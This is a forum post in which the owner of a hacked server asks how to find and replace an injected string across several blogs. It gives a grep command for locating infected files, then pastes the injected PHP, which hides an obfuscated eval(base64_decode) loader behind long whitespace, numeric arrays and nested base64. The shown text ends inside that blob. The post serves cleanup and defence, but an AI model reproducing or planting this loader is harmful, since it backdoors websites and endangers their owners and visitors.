find and replace variable data via ssh and grep

I got my server hacked with multiple blogs on it, and am trying to find a string and replace it. This hack is a bit more complex than other ones I’ve encountered because its variable. Some data is however static. here is what I do to find the infected files:

find . | xargs grep -lr "ZXZhbChiYXNlNjRfZGVj" *

which is searching for files that have this injected:

Read More
<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              $AcVbHvpF09zNSRuMPElLr= array('6169','6186','6165','6176');$SxaHy7s95ObQQJc6f36EGOm= array('1841','1856','1843','1839','1858','1843','1837','1844','1859','1852','1841','1858','1847','1853','1852');$u2vCEM8399Ax6Tw2y= array('9732','9731','9749','9735','9688','9686','9729','9734','9735','9733','9745','9734','9735');$YKbKBXPFKn8ET3XSsQ48kI5WuXgEia6VL="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRKa2QyTkdjSEJSVnpsb1YwVTFObGRzYUZKaU1IQkhUMVpTVTFacmNGaFZiRnBMV1d0c2NtRkdWbGRTYTBwdFZteGFUMUpzVm5OUFZVcFRUVVphVUZaclRrdGFSWFJVWWtSa1MxTkdXbTlUVlZGM1dqSk5lbFZ1Ykd0U2VteDZXV3BPYTJKSFRuQmFNblJaVFZVMVIxWlhlR0ZTYkZaell6SnNWRkpzU2xaV1ZWazFWbXhWZDFac1RsbE5SVnBKVld4Vk1WWlZiSE5OU0VKUVRYcENURmxXWkZwYU1IUkVZVWh3YTFORmNETlphazVPWWpCd1NWWnRhRTFSTUhCMVdXcEpOV0p0U2toV2JXeHBUVEZHY0ZNeFRrWlBWa0pZVjIxb2FWTkZOWE5UTVdnMFQwVjBTVlJxUW1waWEwb3lXVE5zYm1FeVVsaFNXRTVLWWxSR05sbHRNVXRrYlZKRVUxaENTbFpFUVRWWGJURkhZekpOZVZaWVFtMVRTR1IyV1hwT1UyVlhUa2hQV0hCTVVURkplRmRXVGpOaFYwMTVaVVJHYW1KclJuQlRNVTVHVDFaQ1dGZHRhR2xUUlRWelV6Rm9ORTlGZEVsVWFrSnFZbXRLTWxremJHNWhNbEpZVWxoT1NtSlVSalpaVm1SV1lWVjBWRkpVYkZGV01YQnZXV3RvVDJKRmRGUmhNSFJzWkROQ2QxZHRiRUppTUd4WVYycEdhV0pWTkhkWlZtTTFaRlpuZVZacVVtaFhSVFIzV1ROc2JtRldUbkZYYkhCcVZtdGFNRmx0TVZOWFJUVkhUMWhrYUZkRmNESlhha2sxWTJ0c2NHRXpRbXhrTTBKMFdrWmpNV0Z0VWtoaVNGcHBZVlZLVEZSdGVITmxSbFpZVFZoV1lWSnRUWGRYUkU1RFkwZE9kRTlYTldsTmJrNTJVekZvZWxNeVRuUldha0pyVjBWd01WTlZaR0ZoUjBwSlZHMTRVR1F6UVRWUk1qRmhUVmRLZEZScVFtaFdlbXd4VTFWb1UxcHNjRWhpU0d4TVVUSjBibHBZWkhkalJuQndVVmM1WVdKc1dqRlhWRTVUWTBkSmVVNVhXbUZYUjJoM1dYcE9VMlZyZEVSVGJuQnNWMFUxYlZkcVNsZE5SbWQ2VlcxNGFWZEZTbTFYYTJSelpWVnNjR0V6UWtwVFNFNU1VMVZPUWxvd2JFaGlSekZLVVRKb1FsbFdhRTlhYlZGNlUyNUNhMUl4V205WFZ6RTBZa1YwU1ZScVZtcE5WR3gxVjJ4b1UxcHRVa2hXYmxKcVVtcHNjbGxXYUVwaU1IUlVZVE5DU2xOSVRtNVpNakZYVFVkU1dWTnVWa3BUUlhCelYxWmtOR1F4YkZsVmJUbE1VMFUwTVZsNlJUVmliSEJaVlcxYWExSXhXakJaTUZrMVlUSkdXVk5YT1V4Vk1uTXpVMVZuZDFNeVdsSmlNbVJLVVRCR2JsbFdaRnBhTUhSRVVtMTRhVmRGU1hkYVZrNXVZVEZuZDFack9WZGlTRTV3Vm10VmVGVlZiSE5OU0VKS1VURnNkRk5WVmtOalIwMTRUMVJPYW1KWGQzZFhiR1JIWVZkS1NGWlhPV3BpVmxwdldXdG9RMkZIVWtoYU1qbExVbXBzUjFaSGVHRlphMnh6VldzMVZsRXdjR3RUTVU1eVkwVnNTV015WkdwaVZsbDNXa1pvUzJSVmJFbFRiWGhhVmpOb00xZFdhRk5pTUhSRVZXMWFVMVpVVmxoV00yeExWbFpTVjFGWGJGbFZNbk16VTFWbmQxTXdiRVJSVjJSS1VqSjRkRk5WVG01aFJuQllUVmhrYTFOSGRIWlRhMWsxVW14U2MxZHRTa3BpUmtwUFZsVldVMU5zVm5CVGJWSk1WVEJHZEZOdGJFTlJWMFpaVkcxYWEwMHdjSGRhUldSWFlVWnNkR1ZIZUV4VFJYQnpWMVprTkdReGJGbFZiVGxNVVRGS2JWVnNWVEZXTVdRMVUyeFdWVlpyU2taVk1WcEtZVlpvVkdFelFreFZNRWt6VTFWb1MySkhVa2xXYm14cFlWVktOVmRzWkVkak1rNUlVbXBDYUZFeVpHNVRhMWsxVW14U2MxZHRTa3BpUmtwUFZsVldVMU5zVm5CVGJWSk1Wa2hPYmxwc1JuWmFNR3hFVVZka2FGWXhiRzVUTUU1SFlrZEtXVkZxUW14Vk1tUnlWMFJDVjFReFduTmpNbXhYVWxaYVQxWlZUa3RhUlhSVVVWY3hTMkZWU2tKWlZtaFBXbTFSZWxOdVFtdFNNVnB2VjFjeE5HSkZkRWxUYlhoYVZqTm9NMWRXYUZOaU1IUkVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1V6Rk9jbG95VmpWUmJteGhWMFpKZUZreU1EQmFNazUwVm0xb2FWTkZTbTlhUldSdVlqQnNSRlZ0V2xOV1ZGWllWak5zUzFaV1NsWk5Wa1pLWWtSQ2QxUXpiRU5QVlU1d1VWZGtTbEV3Um5KYVJXUlhaRWRPU0ZkdVFtbFNNVlUxVlZWb1UySkhTbGxSYmxaYVZucENkbGRFUlRWU01VNVdaVVZhV1UxVWFIcFRWMnhLWTBVNU0ySXlaRXBSTUVadVdWWmtXbG93ZEVaUmJURm9Wak5vYzFkRVNsZE9SMFpaVkdwQ2FtVlhaSEphUldSWFpFZE9TRmR1UW1sU01WWjNVekZPUTA0d1RuQlJWMlJLVVRCR2JsTlZWa05OVjBwMFpVaENhV0pZVG5aVGEyaFRZa2RLV1ZGdE1XaFdNMmh6VXpGU2VsTXdiRVJSVjJSS1VqSjRkRk5WVG05UlYwWlpWRzFhYTAwd2NIZGFSV1JYWVVac2RHVkhlRXhUUlhCelYxWmtOR1F4YkZsVmJUbE1VakZLZDFreU1ERmhSMHBZVmxjNVMxTkdTbk5aYkdoRFlsZEdXR1ZIZUV4Vk1uUjNVekZPUTA0eVRuUldha0pyVjBWd01WTlZhRXRpUm14WVpVaGtXbGRHU25aVE1HUlRZMGRPZEU1WGFHbFdNVloyVTJ0b1UySkhTbGxSYlRGb1ZqTm9jMU14VG5KT01HeEpUVVYwU2xFd1JtNVJNbXhDV2pCc1JGRnFiRVJoVlVadVUxVk9RMk5HY0hCUlZ6bFNVako0TmxkRVRtdGxWMFpaVlcxNFdsWXdjSHBYYkU1dlpWWndXRkp1VG1wU01GbDNXVlZPYjFGWFJsaE9XRUpaVFcxU2MxcEZUbTVoVjFKWlVXNU9hVTFyV25KWFJFNVRaRWRPUjA5WGRHaFhSV3h3VXpGT2NtTkZkRlJSYW1SS1UwVndjMXBGYUZkbFYwcHdVVzVzWVZZd1ducFpNR1JIVFVkR1JHRkZSbWhXZWxaM1YwUkthMkpIVWtSYU1teHJWMFZLZWxscVNrZGhNV2Q2Vlc1U2FsSnFiSEpaVm1oS1lWVjBWR0Y2WkVwVFJFSk1VMVZPUWxvd2JFaGlSekZLVVRKb1FsbFdhRTlhYlZGNlUyNUNhMUl4V205WFZ6RTBZa1YwU1ZOdGVGcFdNMmd6VjFab1UySXdkRWxVYlhocVRUQTFkMWxxU1RGYWJVMTVVbXBLWVZacWJETlhWbWhUWWpCMFJHRXpRa3hWTW5SdVdsaHNRMlZXY0ZsVmFrWnFZbFJTYmxreU1WZGhSMHBKVVcxb2ExSXlaSFpaZWtwWFpXMU5lV0pJV21saVJHdzJWMVpvWVdKR1ozcFJiV2hyVWpKa2RsTXhUbkpPTUd4SlRVVjBTbEV3Um01VFZXUnpZbFZzUkdGRlJtaFhSVFZ0V2tST1MyTkhVa2hXYldoYVlsaG9jMU13YUV0aVJteFlaVWhrV2xkR1NuWlRNR1JUWTBkT2RFNVhhR2xXTVZaMlYwUkZOVkl4VGxabFJWcFpUVlJvZDFNeFRuSmpSV3hKWXpKa2FtSldXWGRhUm1oTFpGVnNTVk50ZUZwV00yZ3pWMVpvVTJJd2RFaFZia0pxWWxSV2IxbHNaRlppTVdkNFQxVmtWRlpZYUVkWFJFVTBZMFYwVldNeVpHMVZWemx1VTFWT1Fsb3lUblJXYWtKclYwVndNVk5WWXpGTlYwcElaSHBrUkdKcVFreFJNakZoVFZkS2RGUnFRbWhXZW13eFUxVmthMkpIVWtkUFZFSlpUV3hLZDFreWR6VmtSbXhaVkc1d1RGRXlkRzVhV0dSMlV6SkdXRmRYWkV4U01XOTRXVzB4VDAxSFJsaFBXRlpaVFd4Wk1GbFdhRTlOUjA0MVdqSnNhazB5ZURaWFJFcHJZa2RTUjA5VVFtRldla1l6VjBSS1UyTkhUbkJUV0VKTVZUQkpNMUV5YkVKYU1HeEVVVzVDWVdGVlJuWlZWV1J6Wld4bmVscEliR2hYUmtwelYxWmtTMk14Y0ZSaFNIQnNWMFUxYlZkcVNsZE5SbWQ2VlcxNGFWZEZTbTFYYTJSelpWVjBSR0V6UWt4Vk1Fa3pVMVZPVTJWV2NGbFViVXBaVlRCRk5WTlZhRXRpUm14WVpVaGtXbGRHU25aVE1HaFBUbGROZUU5WE5XRlhSa3B0V2tWa1YyUkhUa2RQVjNSb1YwVnNkbE14VG5KT01HeEpUVVYwYlZWWE9XNVRWVTVDV2pKR1dGZFhaRXhSTUZweldXeG9RMDFIVmxSYU1uUlpUVVphVUZadGVIcGhWbHBHVFZaR1NtSkVRbmRUVlU1YVlsVnNSbEZ1UW1wTlZHdDZXVEl4YzAxR2NGaFNiV3hwVWpGV2Rsa3lNVmRoUjBwSlVXMW9hMUl5WkhaVGExazFVbXhTYzFkdFNrcGlSa3BQVmxWT1MxcEZkRlJoTTBKS1UwaE9ibE5yYUV0aVIwMTRaRWRTU2xKRVFtNVpNakZYWVVkS1NWRnRhR3RTTW1SMlUydFpOVkpzVW5OWGJVcEtZa1pLVDFaVlRrdGFSWFJWWXpKa2JWVlhPVzVUVlU1Q1dqSkdXRmRYWkV4Uk1GcHpXV3hvUTAxSFZsUmFNblJaVFVaYVVGWnRlSHBoVmxwR1RWWkdVMUpYZUZSVFYzZDNZMFZzUkZkWE1VcFNWVXAzV1hwRk5VMHlUblJpUkVKaFZqQmFjRmxyWkZaaU1rNTBWbTFvYVZORlNtOWFSV1J1WWpCd1IwOVZXbFZpUm5CcFUxZDRVMVJzVmtaVmEzQldZVlZ3YTFNeFRuSmpSV3hKWXpKa1MxTkZjSE5aZWtZd1drVnNSVTFIWkdwaVZscHZXV3RvUTJGSFVraGFNamxLVVRGS2JWVnNWVEZXTVdRMVUyeFdWVlpyU2taVk1WcEtZVlpvVkdGNlpFcFRSRUpNVTFWT1Fsb3diRWhpUnpGS1VUSmtiMWRzWTNoa01sSkpZVEk1UzFKcWJFZFdSM2hoV1d0c2MxVnJXbFZXYTBad1YwWk9jbG93Y0hCWFYyUlNVako0TmxkRVRtdGxWMFpaVlcxNFdsWXdjSHBYYkU1dlpWWndXRkp1VG1wU01GbDNXVlZPYm1FeFozZFdhemxYWWtoT2NGWnJWbGRVYkZaRVUyMVNURlV5ZEhkVFZXaDZXakJ3U1ZOdGVHcE5XRkpyVTFWUmQxb3lUblJXYldocFUwVktiMXBGWkc1aU1HeEVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1ZETnNRMDlWVG5CUlYyUktVVEJHY2xwRlpGZGtSMDVJVjI1Q2FWSXhWVFZWVldoVFlrZEtXVkZ1VmxwV2VrSjJWMFJGTlZJeFRsWmxSVnBaVFZSb2VsTlhiRXBqUlRrellqSmtTbEV3Um01WlZtUmFXakIwUmxGdE1XaFdNMmh6VjBSS1YwNUhSbGxVYWtKcVpWZGtjbHBGWkZka1IwNUlWMjVDYVZJeFZuZFRNVTVEVGpCT2NGRlhaRXBSTUVadVUxVldRMDFYU25SbFNFSnBZbGhPZGxOcmFGTmlSMHBaVVcweGFGWXphSE5UTVZKNlV6QnNSRkZYWkVwU01uaDBVMVZPYjFGWFJsbFViVnByVFRCd2QxcEZaRmRoUm14MFpVZDRURk5GY0hOWFZtUTBaREZzV1ZWdE9VeFNNVXAzV1RJd01XRkhTbGhXVnpsTFUwWktjMWxzYUVOaVYwWllaVWQ0VEZVeWRIZFRNVTVEVGpCd1NWTnRlR3BOV0ZKclUxVlJkMW95VG5SV2JXaHBVMFZLYjFwRlpHNWlNWEJJWWtoc2FXSlZXakJYYkU1dVlUSlNTRlp1VW1wU01YQjNXV3RrVm1ORmRGVmpNbVJ0VlZjNWJsTlZUa0pUTUd4RVVWZGtTbE5FUWt4VFZVNUNXakJzU0dKSE1VcFJNbWhDV1Zab1QxcHRVWHBUYmtKclVqRmFiMWRYTVRSaVJYUkpVMjE0V2xZemFETlhWbWhUWWpCMFJsRnVRbWxpVjNodFYycEtWMDFGZEVSVGFrWnFVak5vTWxkV1pGTmFiVkpJVFZoa1dVMXNTbmRaTW14S1kwVjBWR0V6UWtwVFNFNXVVMnRvUzJKSFRYaGtSMUpLVWtSQ2Jsa3lNVmRoUjBwSlVXMW9hMUl5WkhaVlZXUnpaRmRHVjA5WE5XRlhSa1oyVTFjMVYyUXlTa2hQVjJoaFVtcHJkMWxzYUVOYWJIQklZa2hzU21GWGRIZFVNMnhEVDFWT2NGRlhaRXBSTUVwM1YyMXNRbUl4UmtoaVNIQlpUVEpTTlZsV2FGTmlSbXhZVTI1T1lWVXlhRFZYYkdSSFl6Sk9TRkpxUW1oUk1tZzJWMnhvVDJWdFJsaFBXRlpaVFRBMWIxcEhNVmRhYlU1SVVtcENhRkV5WkhkVE1VNXlZMFZzU1dNeWRHcGlWbG8yVm5wRmQxb3hRbFJSYm14aFZqQmFlbGt3WkVkTlIwWkVZVWh3WVZkRk5UWlpWbU0xWkZabmVsUnRhR3RpVmxwdFdUQmtSMDFIUmtSYU0wSk1Wa2hPYmxwc1JuWmFNR3hFVVZka2FGWXhiRzVUTUZaRFkwZE5lRTlVVG1waVYzZDNWMnhrUjJGWFNraFdWemxxWWxaYWIxbHJhRU5oUjFKSVdqSTVZVkl5ZURWWmJURkhaRVp3VkdGSFdsbE5SbkJMVmtWV1YxcHNhRFZoTTBKTVZUSjBibHBZYkVKaE1rNTBWbTV3V0UxVVFtNVZSazVEWlZad1dGSnVUbXBTTUZsM1dWVk9iMkV5UmxsVGJsWmFWbnBHYzFNd1dUVmFiRXB5WWtVeFUxWnFiRzFUTVU1eVRqQnNTVTFGZEVSaFZVWnVVMVZPUTJWV2NGbFZha1pxWWxSU2JsZFdhRXRsVm14WllrZGFhMVo2Vm5kWk1XaFhZa1YwUkZWdWJHRlhSVEYzVkROa2QwOVZUbTVqUnpGclZucFdjVnBGWkhOa2JVcHdVVzAxWVZkR1NtMVpWRWt4WkcxUmVFOVlRbXBSTW1SM1dsaGtkbUV5UlhsT1dGcHJUVmhTYTFOVlVYZGFNR3h4VkZST1RXRnJiRFpVYkUwd1RWVXhOVTVJYkU1U1JXeHdWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFVsaHdUbEY2VWpOVVIzQktaV3N4TlU1SWFGQlJNR3N6VVRKc1UyTnRTblJQVkU1WVRWUkNibFZHVGtKaFZURlZWRmhrVFdGclJqRlVWM0JPVFRCNGNWTlVRa3BoYms1TVUydGtNR1JYU1hwYVIwcFpWVEJGTlZOVlRrcGxSVFZGWVROV1RsWkdWWGRVUjNCR1RWVTFSRTVJYUZCV1JWWndWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFVsUkdUbFY2VWpWVVdIQmFaRlV4VlZrelZrNVdSVEZ3VkROa2RtRXlSWGxPV0ZwclRWaFNhMU5WVVhkYU1HeHhVbFJHVGxWNlVqVlVXSEJhWkZVeFZWb3pWbEJSTUdzelVUSnNVMk50U25SUFZFNVlUVlJDYmxWR1RrSmhWVEZWV1hwU1RXRnJiRE5VTVUwd1RWVXhjRTVJYkU1V1IyUndWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFVsUk9VRkY2VVhwVVdHc3daVlV4VlZGWVZrNVdSbXcyVTFkd2VsTXdjRWhrU0ZacFRUSlNhVmRHVGtKUFZXeEVVMVJDVDJGVVVqUlVibXN3VFZVMU5VNUlhRTlTUlZad1ZETmtkbUV5UlhsT1dGcHJUVmhTYTFOVlVYZGFNR3h4VlZSS1RXRnJhM2RVYldzd1RsVXhOVTVJYUU1bGEwWndWRE5rZG1FeVJYbE9XRnByVFZoU2ExTlZVWGRhTUd4eFZsaFdUMkZyVmpGVWExSktaRlV4VlZGVVZrcGhiazVNVTJ0a01HUlhTWHBhUjBwWlZUQkZOVk5WVGtwTlZYaHhWMWhvVFdGc1JYaFVSM0JHWlVVeFJGTlVaRVJoVmtwNVdXMHdOVTB4WTNoTlIyUlJWVEJHY0ZReFVrNWtWVEZWV1ROa1RXRnJWalZVTVUwd1RUQTFWRk5VWkVSYU0wSjBXV3BPUzJKR2JGaFViVGxNVWpKU2MxcEZXVFZOUm1kNVZXNUNhbUpFYkRCWFZtaFBaV3QwUkdFeVpGcFhSVEZ1VTJ0b1VtTkhWak5qU0VKaFlWZG9kRmxXWkRSaVJtZDVWbXBTYUZkRk5IZFpNMnh1WVRKU1JFNVZWbFJXYTNCSFZWUkdVMVZHVm5OaVIxcFdUVVphVWxWV1drdFJiRnBHVDFaT1RXRlZjRkJVVjNocVpXeGtWVkZ1YUZwV1ZuQkRVMWRzY21OSFZqTmpSekZwVFRCd2MxZFdaRTlpTUd4RVlVY3hhRll6YUhOVE1FNVRUVVY0Y2xWcmNGWmhNVnBGVm10Vk5WVXhaRmRQVmxKVFZtdEtRMVpYZEVkV1ZsRjRVMWhXU21GNlVqVldibkJQVjJzeFNWSnRhRk5oTUZad1V6Rk9RMkZIVGpWUlYzUnJVMFpHZDFwWVpIWmhNa1Y1VGxoYWEwMVlVbXRUVlZGM1dqSlNTVk51UW1sVk1tUnlXa1ZvVW1ORk9UTmpSR3hFWW1wQ1RGcHNSbmRsVm5CWlZXcEdhbUpVVW01WFZtaExaVlpzV1dKSFdtdFdlbFozV1RGb1YySkZkRVJWYmtwcFlsUnJlbE14VW5wVE1scFNZakIwWVdKc1dqRlhWRTVUWTBkSmVVNUhaR3BOYTFsNVYyeFpOV050U25SUFZFNVpUVzE0TTFNd1RsTmpSMDVFWWtSa1JHRldTbkZaYWtreFRVWndXRTVVUWtwU1JFSnVVMVZrYzJSSFRraGxTRnBoVWpGV2RsWlZWbTlWVm1kM1ZteENWVkV6Wkc1VGEyUnpaREIwVldNd2RHRmlWR3cxVjJ4a1IyRnRSa1JoUnpWaFYwWktiVnBGV1RWaE1rWlpVMjFhYVZZd1dqWlpNMnh1WTBWc1NGSnVjRXBSTVVsM1V6Rm9lbE13Y0VoWFYyUlJWVEJLZEZscVRrTmlSMHB3V2pKMGExRjZWa1pWTVZwTFVteEZlRlZzUWxaaVIzaHRWbFJDVjFWV1JsZFRhMHBYVWxSc1ZGUkhiRXRVTURGeldUTndXRlpGU2pSWFZsWmhVV3RzY0dReWJHdGxWV3gzVkROa2QySlhUa2xXYWtKcVpWZGtjbGR0YkROaE1XdDVUMWhXYTFJeFdqRmFSVTV5VGpCT2RGZHRjR2xTZW13MlYyeE9ibUV4Y0hCaGVtUkVZbXBDVEZwc1JuWlRNWEIxVm01V1drMHhTbmRaYWtrd1dqRk9jVmRzY0dwV2Exb3dXVzB4VTFkRk5VZFBWelZoVjBaS2JWa3lNVmRoUjBwSFQxaENhbEV5WkhkVFZXaDZVekJ3U1ZGdWJHbE5NbWN4VjBSS2IySkdiRmhWYlhocVltc3hibFZHVGtOaFIwNTFVMjFvYkZVeVpIQlZWRUkwVTJ4S1ZrNVdWbGxOUjNoU1UxZHNNMkZXU25KUFZrNVhUVVZhVkZWclZsZFNWV3h3WkRKc1UyRjZiRlJXYWtKSFZURktSbFpyVmxsTlJuQlJWbGRzU21Nd2JISlhiRUpXWWtkU1ExWlhkRk5TYkVwSFQxVmtWVTFWY0cxVk1WcENZVlY0UkZOcmJGZFNiRXBTVjBSQ1QxUldUbFpXYXpsWFVtcHNTMVpWVGtwak1HeHlZVVpXVjFKclNtMVZiWE0xVlRGWmQxSnNUbE5TVmxwR1UxZHNNMkZXVGtkVmJGWldVbXBzU0ZaRVJrdFhSa1pYVTJ0V1UxWldTbTFWYlhNMVZUQnNjR1F5YkZSU2JFcFdWbFZaTlZJeFVYaFRiR2hTVm10d1JsVnNWbE5hYkVweVQxWk9XVTFIZUZKVFYyd3pXakJzY21GR1ZsZFNhMHB0VmxWV1QxcHNWbkpXYXpWVlRWWktSMWRFUWtkU1ZrcEhVMWRzVFZFd2NFcFdhMXBUVlZabmVGRnNUbFZOVjJoaFYwUkNUMVZHVW5KT1ZWcFNUVlpLUzFaRVFUQmhWWGhFVTJ0c1YxSnNTbEpYUkVaaFUyeEdWRk5ZVGtwUk1IQktWbXRhVTFWV1ozaGhSMXBUWVhwc1ZGWnFRa2RWTVVwR1ZtdFdTbUZZWkc1VFYzUnZWbFphUjFGdFdsaFNhbXhJVmtSR1MxZEdSbGRUYTFaVFZsWktiVlZ0Y3pWVk1HeHdaREprU21FeWFGWldhMXBEV214a1IwOVZaRlZOVlhCWlZWWmFTMUpXU2xaVmJWcFRZWHBzVkZkRVFuTlZWV3h3WkRKc1ZGSnNTbFpXVlZrMVYxWm5kMkpGTlZOaGVteFVWbXBDUjFVeFNrZFVWMnhOVVRCd1NsWnJXbE5WVm1kNFlVWk9WVTFYYUdGWFJFSlBWVVpTY2s1VldsSk5Wa3BMVmtSQk1HRlZlRVJUYkdSVVZsVldjRlJGVGtKaFZtUkhUMVZrVlUxVmNGbFZWbHBMVWxaS1ZsVlhiRTFSTUVad1ZqQlpOVkl4VVhoVGJHaFNWbXR3UmxWc1ZsTmFiRXB5VDFaT1NtRlhjek5STWpGaFpHMU9kRlp0YUZwTmJXUjJVMnRvUTJWWFNYcGhSRlpaVFcxb2MxZFdaRk5pUjA1MVZGZGtXbGRGTVc1VGEyaERaVmRKZW1GRVZsbE5iV2h6VjFaa1UySkhUbkJoTUhSc1pETkNkMWR0Ykc5alIwMTZWRzE0YTFFeVpISlhSRVpQVW14V2MxZHJXbFppU0U1eVdUQm9TMlJ0VmtsaVIxcG9VakZhYjFkclpGZGxWbWhVWVRKa1MyRldiRzVaTUdoTFlrWnZlRTlZVWxwWFJrcHhXVlZPYm1GVmQzaE9SemxZWld0V01GUXhXWGhQUm1RMlVsaFNVRlpxUm1sVVZVMTNUbFpvV1dRemFGaGxhMFl3VkRGWmVGbHJNVVJOUkZaWlYwaGtOVll6Y0VKa1JUVkhUVmRLVGxGNlFURlhSbWd6WlZVMVYyTXpaRTFXUmxwclV6Rk9iMWt3ZUhCaFIwcE9VWHBCTVZkR2FEUlphekZVVFVSV1dWWnVUak5VUmxKeldrZGFSVkp0U2s1UmVrRXhWMFphZW1Rd2VGVmlSMUp0VWtWd2FWUlZUWGROUm1oWFl6TmtUVlpIZUd0YWExSktUVlprTmxGWVVrOVdha0ozVXpGb2VtVnRXbFJWV0ZwS1lWaGtibE5yV1RWV1JrcFhVMnhrVTFacmNHbFRhMmhEWlZkSmVtRkVWbGxOYldoelYxWmtVMkpIVG5OTlNFSk1WMGhTTlZkc2FGTk5WMDUwVGtka1MxSnFiRlZWYkZwTFZqRktWMU50U2t0VFJVbzFXV3BPYjA1V1ozbGhSM2hhVmpGS2Mxa3lkM2RPTWxwU1kwZDRhVk5GTlhOVFZXUnpZbFYwU1ZScVFtcGlWM2cyV2tWb1NtSXdiSEJrTW14TlVUQkdjbGRFUms5U2JGWnpWMnRhVm1KSVRuSlpNR2hMWkcxV1NXSkhXbWhTTVZwdlYydGtWMlZXYUZSaE1tUktWa1JCTlZOVlZtRlJiRkpIVkd0YVRGVllRVE5UYTJoRFpWZEplbUZFVmxsTmJXaHpWMVprVTJKSFRuTlBWRUpoVm5wR00xTlZVWGRhTWxKSlUyNUNhVlV5YUc5Wk1qVkxZVWRXVjA5WWNHaFNNbmgwV2tWT2IySkhWa2xSYms1cFRXeEtjMU13VGtwak1HeHdaREprUzFKcWJGVlZiRnBMVmpGS1YxTnRTa3RUUlVvMVdXcE9iMDVXWjNsaFIzaGFWakZLYzFreWQzZGpSWFJVWVhwa1NsRllRbmRYYld4dVlqQndTVkZ1V21wTlZHdDNWMnhqZUdRd2JFVk5SMlJxVFRGS05WbFdhRU5rYlU0MVdqSjBhbE5GY0RKYVZXaHpXbTFHU0ZadGFHRlNNVm8xVjBST1UySkhTbGxSV0U1S1VUQnJNbE5YYkhKalJXeEVVbFJzVVZVd1NraFZWbFkwVmtaS1ZHRXlaRXRUUlVvMVdXcE9iMDVXWjNsaFIzaGFWakZLYzFreWR6Vk5SbkJZVFZoa1NsSkVRbTVaZWs1WFlWZE5lbFZ1YkV4Uk1Vb3pXVEl3TlU1SFZsZFBWemxoVmpCYWNsZHNhRXRhYlZKSVZtNVNhbEV6Wkc1VVZVNHpXakJ3U1ZGdVdtcE5WR3QzVjJ4amVHUXdkRlZqTW1SRVlsZDRkRk13YUVObFZuQllXa2RhYVZZd1dYZFhWRXB1WWpCc2NFOVhWa3hTYms0MFZFWlNjMXBIV2tkak0yaE5Wa2Q0YTFZemNFSmtSVGxYVFZSb1RsWnVUak5VUmxKeldrWmtObEZZVWxCV2FrVTBWRmQ0ZW1Rd2VGVlZiVkpZWld0R01GUXhXWGhQUlRGeFZtMUtUbEY2UVhoWFJrNXlZakZvUkU1SE9WaGxhMFl3VkRGWmVFOUdaRFpTV0ZKUVZtcEdhVlJWVFhkT1ZtaFpaRE5vV0dWclJqQlVNVmw0V1dzeFJFMUVWbGxYU0dRMVZqTndRbVJGTlVkTlYwcE9VWHBCTVZkR2FETmxWVFZYWXpOa1RWWkdXbXRUTVU1elRqQXdlazFIZEUxbFZXeDZVMVZPVTJReVRuUlBWRkpzVm1wc2RsZHNaRWRoTVhCWlUyMWFhMUl4V2pCWk1FNXlXakIwV1ZOdGVHdFRSbG8xV1cxc1FtRXlUa2xUYmxwc1UwZDRiVmxWWkZkaFJuQklWbTVzV1UweFNuTlpiR2hDVGpCT2RVMUZkRzFWV0VJMVYyeG9VMDFYVG5ST1IyUkxVbXBzVlZWc1drdFdNVXBYVTIxS1NtSkZjRWRXUmxVMVZsWktWMDlWU2xOU1ZrcFVVMWQzZDA0d1RuVk5SWFJoWW14YU1WZFVUbE5qUjBsNVRrZGtWR0ZzY0dGWk1WcEhaRWRLZEZWc2FFOVNhbXgxVjJ4b1UxcHRVbGxUYms1TVVUSjNNMU5WUm5aaE1sSlpVMjVPU2xKRVFtNVRWekZ2VFVkU1NWRlVXazFsVkdod1UxVk5NRm93Y0VkUFZsSlRWbXR3V0ZWc1drdFphMnh5WVVaV1YxSnJTbTFWTUZVMVZrWmFSRk50VWtwUmVsSnVVMnRaTlZaR1NsZFRiR1JUVm10d2FWTlhlRXRTYkZaWFZtdGFWazFXU20xV2JGcExVMnRzYzAxRVpFUmlWM2gwVTFWT2IyVnRVa2xUYm1ScFRUQXhkbE5yYUZkbFYwcEVaREpzVVdWVmJIZFRWVTVHVDFaQ1ZGRnRNVnBXTTJnMlYyeE9jMDR3VG5CVmFrWnFZbGhrYmxWR1RrTmxiVkpZVTI1d2ExTkZiSFpUYTJoWFpWZEtSR1F6WkUxVFJUUjNXVEkxUTJSdFRqVmFNblJyVjBWd2VsUkZUa3BNTUd4d1lUTkNVR1F6UVRWUk1qVkxZa2RTU1ZadWJHbGhWVVp5V2tab1MyTXdPVE5qUkd4RVlsWnZlRmx0TVU5TlIwWllUMWhXU2xKWE9IbFdNV2hIVlcxS1dFNVhkRmRsYkVwdFYycEtWMDFHWjNsVWJscHBZbXhLYzFsdE5WTmxhM1JFVlc1Q2FsRXpaRzVUYTJoRFlVWnZlVlpZUW14a00wSjNWMjFzYmxveGNIVldibFphVFRGS2QxbHFTVEZhYkhCWllVaENhazB4U2paVE1FNUxZVzFTV1ZOdVRsbE5iWGd4V1Zab1VtRlZkRlJSV0VKc1pESTVibE5WVGtKYU1IQklWRzA1U2xKRVFtNVhWRTVYWlZkS1IwOVlRbWxpVjNkM1V6Qk9TMkl5VWtsVmJtUlFZVlJvTWxOWGJFSmtWWEJJWWtoa1NsRjZVbTVUVjJzMFlWVnNSRTVIZEdwU01GcDFWMnhPY2s0d1RuQlJWMlJLVVRCS2NWcEdhRXRqTVdkNlZHMTRhMUo2YkROYVJVNXVZVEZyZVZvelRrcFNWVFZYVmxkME5GVkdWa2RWYlZwV1lURmFWbFpzV2t0VU1WcEhVMnRLVldKRk5VaFZiRnBLWXpCc1JWSllRbEJrTWpsdVUxVk9RbG94YTNwV2JteHBVbXBzTmxkc2FGTmtiVTVKVlZjNVMxSXdOWFpVUlU1RFVrWmFWMU5yTVZWTlZVcFdWMFJHVTFOc1VsWldiRUpY